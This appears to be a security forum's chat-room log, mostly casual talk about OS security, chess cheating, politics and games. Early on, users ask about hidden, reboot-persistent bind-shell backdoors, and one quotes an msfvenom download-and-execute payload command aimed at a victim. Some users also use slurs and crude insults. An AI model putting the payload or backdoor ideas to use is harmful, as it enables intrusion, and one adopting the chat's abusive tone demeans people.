@forest So you're telling me a default windows install is more secure than a default linux install?

Journeyman Geek

"provides the Windows Sandbox utility for non-UWP applications." - Only in pro ._.

> Most programs on Linux are written in memory unsafe languages such as C or C++ which causes the majority of discovered security vulnerabilities. Other operating systems have made more progress on adopting memory safe languages such as Windows which is leaning heavily towards Rust, a memory-safe language.

Linux is moving towards rust. And well most programs on windows are written in mostly the same laguages as linux? C, C++ etc. C# was windows only but its moving

> On ordinary desktops, a compromised non-root user account with access to sudo is equal to full root compromise as there are an abundance of ways for an attacker to retrieve the sudo password. Usually, the standard user is part of the sudo group which makes a sudo password security theate

this is very much a option on most. Its only really default on ubuntu

I'll leave it for someone smarter to nitpick over the technical bits ;)

3:05 AM

I'm looking to have a bind shell listening on a compromised machine to survive reboots. Checking some guides on the meterpreter bind shell (this, an RHOST is required. Since I'm just gonna copy the payload to the victim machine, why would I need an RHOST?

Journeyman Geek

Feels like a question (with some extra padding) for the main site

3:59 AM

Is there a linux bind shell backdoor that only is invisible to something like nmap unless some certain bytes or port knocking is recognized?

Q: How do you execute a base64 payload

How do you execute a payload with a base64 format in a webpage I tried to host it on a local server so that when a victim gets redirected to the link the payload gets executed Generating a payload using msfvenom msfvenom -p windows/download_exec URL=http://example.com f base64 > out.txt payload.h...

I think hes confused

with using B64 to transfer something like a netcat executable rather than actually executing it..

That's how it seems to me, anyways.

Doubt it, but if he can explain to me what he's trying to do, I might be able to help

But it seems to me like he is just trying to execute a Windows PE in JS

12:16 PM

he still have A LOT to learn before executing a payload...

Anonymous

@MechMK1 Well, perhaps not. But that is the only comparable action I can think of that he might be mixing up.

I notice I'm a cunt to people when I'm hungry

I should eat something

Before Lunch: "God, are you fucking retarded? Have you even bothered reading a single thing about information security before you tried to LARP as a 1337h4x0r?"
After Lunch: "So anyways, you probably misunderstand the intention of the "download_exec" payload in Metasploit. Allow me to explain:"

@MechMK1 Low blood sugar does make one cranky

That is true. Time for lunch

@nobody I actually think that would be a really interesting study. You should do it, if someone hasn't already.

Anonymous

12:29 PM

@MechMK1 I figured :D

1

A: Why do I need to check the issuer/subject of a certificate rather than just the thumbprint?

Because it is way more restrictive... ...and that might not be what you want. To be clear, you absolutely can, but that means whenever you change the certificate, you need to also change who you trust. Verification of the subject and CA on the other hand means that you can keep your verification ...

@J-- If you agree to be my test subject, why not? ;)

I'm fairly confident it was this one

Anonymous

Personally, I like to believe that the reason @forest has such good answers is because he writes all of them coked out of his mind. So he becomes an absolute beacon of confidence and gets such a laser like focus on the task that he just writes these absolutely perfect essays :D

@MechMK1 Yeah, because they often play moves that absolutely nobody would ever think about, especially when they only have a 2 month old account. The moves they play are so just barely better that they make zero sense.

@J-- Yeah, but even more telling is that they take quite a long time to do obvious moves

Or the fact that they have not played a single game with <90% accuracy, yet have never taken more than 6 seconds to think about a move, except when stockfish crashed again.

Gotham Chess is a pretty good channel, because he explains his moves pretty well

perhaps when my 2yo gets his motor skills more developed and can put a piece where he intended to he could be a viable opponent too..

He's like "So I move my rook here, so it's on the same diagonal as his king, effectively pinning his pawn to where he is. His pawn now no longer protects his knight. if he doesn't realize that, I can take his knight next round."

It's called panicking when you get a bit of over-steer so then you try and correct it and go to far the other way and cause under-street and then the back wheel lose all their traction.

A motorcyclist was being chased by the cops, rushed a red light and crashed directly into an e-scooter

Anonymous

To make matters worse, once he lost traction, instead of using the accelerator to try and create traction he just kept pressing the brakes.

Both the scooter rider and motorcyclist died on the spot

@J-- Because "brakes = slower"

Anonymous

12:51 PM

And if you know anything about cars, especially rwd ones, you know that when you lose your backend, pressing the brakes only makes it 10x worse.

@nobody Well, I don't say that. That's just the joke...

Oh right, I'm just dumb :)

Which reminds me of a game I like to play, I call "Far-Left or Far-Right".

Where you take an opinion and ask yourself if it was said by someone far-left or far-right?

Such as "White people shouldn't go to the same schools as black people"

Or my personal favourite "One of the most dangerous things you can do is treating people equally, regardless of their race."

@nobody Yes, I certainly wouldn't believe or say something so ignorant. I am pretty far-left...

@MechMK1 I'd like to believe this one was said by some idiot in ANTIFA. Since, I feel like this is a trick game. As the obvious answer is far-right. And you wouldn't make it that obvious.

12:58 PM

@J-- Correct

@nobody My view is this: When you attempt to stab someone to death, then a police officer should have the right and duty to protect an innocent person from being harmed. It doesn't matter what the color of your skin is.

Anonymous

Yeah, ANTIFA are so dumb they cannot comprehend they create the very thing that they are set out to destroy. So, we don't take them seriously. Unfortunately, the right does.

@MechMK1 Unfortunately, they have the right, but not the duty

@nobody I believe that it's a police officers duty to protect and serve

Anonymous

Sadly the police are always too busy serving themselves.

Imagine your daughter was about to be killed by a madman with a knife, and the police officer lets it happen, then says "Sorry, wasn't my duty to stop him."

@MechMK1 Not arguing with your, belief, I'm with you there. But atleast in US, they don't legally have the duty

I know people like to see me as racist or white supremacist or whatever, but I'll be crystal clear: If a white guy tried to stab a black guy, the assailant has to accept the fact that a police officer may fatally shoot him in order to prevent an innocent person being harmed.

1:14 PM

@nobody Yup.

This was handled by our regional court, because he's from Hungary (as opposed to the local court). And the public prosecution demanded 2 years in jail.

The judge, when reading the verdict, basically said "2 years? For unlawfully "borrowing" a bike while drunk? That man is an idiot, not a threat to the public" and I almost lost it there.

In the end he got 2 months suspended, so basically nothing

New keycaps out, feelsamazingman,.

@MechMK1 I see some interesting things on netsec from time to time... darksouls community is chill and fun. and torontoraptors community is kinda weird this days, raptors are between tanking and getting a good pick on the lottery and playing hard and making the playoffs, but may winning too much for lottery and losing too much for playoffs and losing both

Dude asks: "Does Binding of Isaac: Repentance support mods? I read there was no mod support. I'm enjoying Afterbirth+ mostly because of the mods. It'd be a real let down if there was no mod support."

First answer: "Why you have to be so impatient?! The devs are working their ass off trying to make a good game and you expect to have every tiny shitty feature handed to you on day one."

Like...bruh, what the fuck?

that new resident evil isn't released yet (I think) and people are already modding the demo...

I feel like reddit is this huge, forcibly "positive" circle jerk, where everyone gets dogpiled on when they don't regularly proclaim they'd suck the dick of whoever they're worshipping right now.

God, I've never played a single RE game, but I will play the new one, just because of Mommy Dimitrescu

1:36 PM

I played the first one with my friends, a lot of time ago

Didn't that have tank controls?

we would gather around the computer to solve the puzzles, it was amazing

then I downloaded it a few years ago and it looks so ugly that I wanted not to download it again

it was gorgeous on my memory

PS1 era 3D or pseudo-3D was ugly as fuck

But it's fine, it's the gameplay that matters

they are remastering everything, they could remaster it

and system shock 2... SS2 using unreal engine would be amazing

I'm generally not a huge fan of remasters

1:40 PM

SS2 is a game I always play, I installed lots of mods, spent hundreds of hours on it, but never ever finished the game...

I think they're fine if they allow the game to be played on modern hardware

it's on my TODO list since college

Like, for example, a game that was released on the N64 being re-released on Switch or such

But for PC games? I rarely ever see the need

What I keep seeing more and more often are re-releases of modern games

Every 2 days a new Skyrim version is released

sometimes the engine resolution was too crappy, so nobody would play 800x600 today, so a remaster makes sense

Skyrim and GTA 5

Perhaps, yeah. I mean, I undestand it more for really old games

1:42 PM

and doom... people are releasing doom even on pregnancy tests... that's absurd and have to stop.

But I personally prefer playing the old games

Because trying to make it new and shiny and state of the art kind of locks it in a certain timeframe

I only have hardware for older games

For example, during the PS3 era, a ton of games were "wet"

Like wet surfaces everywhere

Because the PS3 was really good at rendering that effect

And now it looks off

I think that we're soon entering the "reflective era", due to RTX

Everyone trying to show off their real-time raytracing

and ps2 was the "foggy era"

Mhm, but not because the PS2 was good at it, but because it had so much limited render distance

Actually, wasn't it more the PS1?

PS2 games had pretty good render distance

Journeyman Geek

1:45 PM

@MechMK1 funny thing is - Q2RTX is old

only that it took like.... 2-3 PCs to render it in the old days

@JourneymanGeek But very few people have RTX cards

That's really the problem

Journeyman Geek

@MechMK1 Yeah, I know

I got lucky with mine, and it wasn't the one I actually was trying to get :D

So the tech has been out for a while, but it doesn't really make sense for devs to push it

A ton of gamers would be like "I'd love to buy one, if I could"

Journeyman Geek

@MechMK1 its very much an 'optional' thing

this was supposed to be the generation it made it big

but damned crypto

Yeah, of course it's ought to be optional

But if you make it cool, people will want it

I think what would really sell RTX would be an affordable entry-level GPU with RTX

Imagine a card for like 300 USD with RTX

1:48 PM

"imagine a card..."

unless Ethereum crashes again, no card for us for a long time

Please crypto, crash faster

and with that new Chia coin or something, SSD prices will go to the moon too... better buy stock on ssd vendors

Enough

people here are charging R$ 18k on a RTX card... that's like 18 months of salary

I want a good GPU

I have literally no other joy in my life than videogames, don't take that from me as well

1:52 PM

I need to do some bug bounties to earn a little on the side so I can upgrade my potato computer

Journeyman Geek

@ThoriumBR actually - I looked at the set up

you need only about 100gb of SSD for plotting, and the rest can be spinning rust...

so... drive prices as a whole are going through the roof if it caches on

there are a couple good games that I want A LOT to play, but my T430 will laugh at me so hard...

I just noticed that I earn 1k€ more than I thought I did

@JourneymanGeek looks like the chia price is going down, so maybe it fades away

Well, that's a pleasant surprize
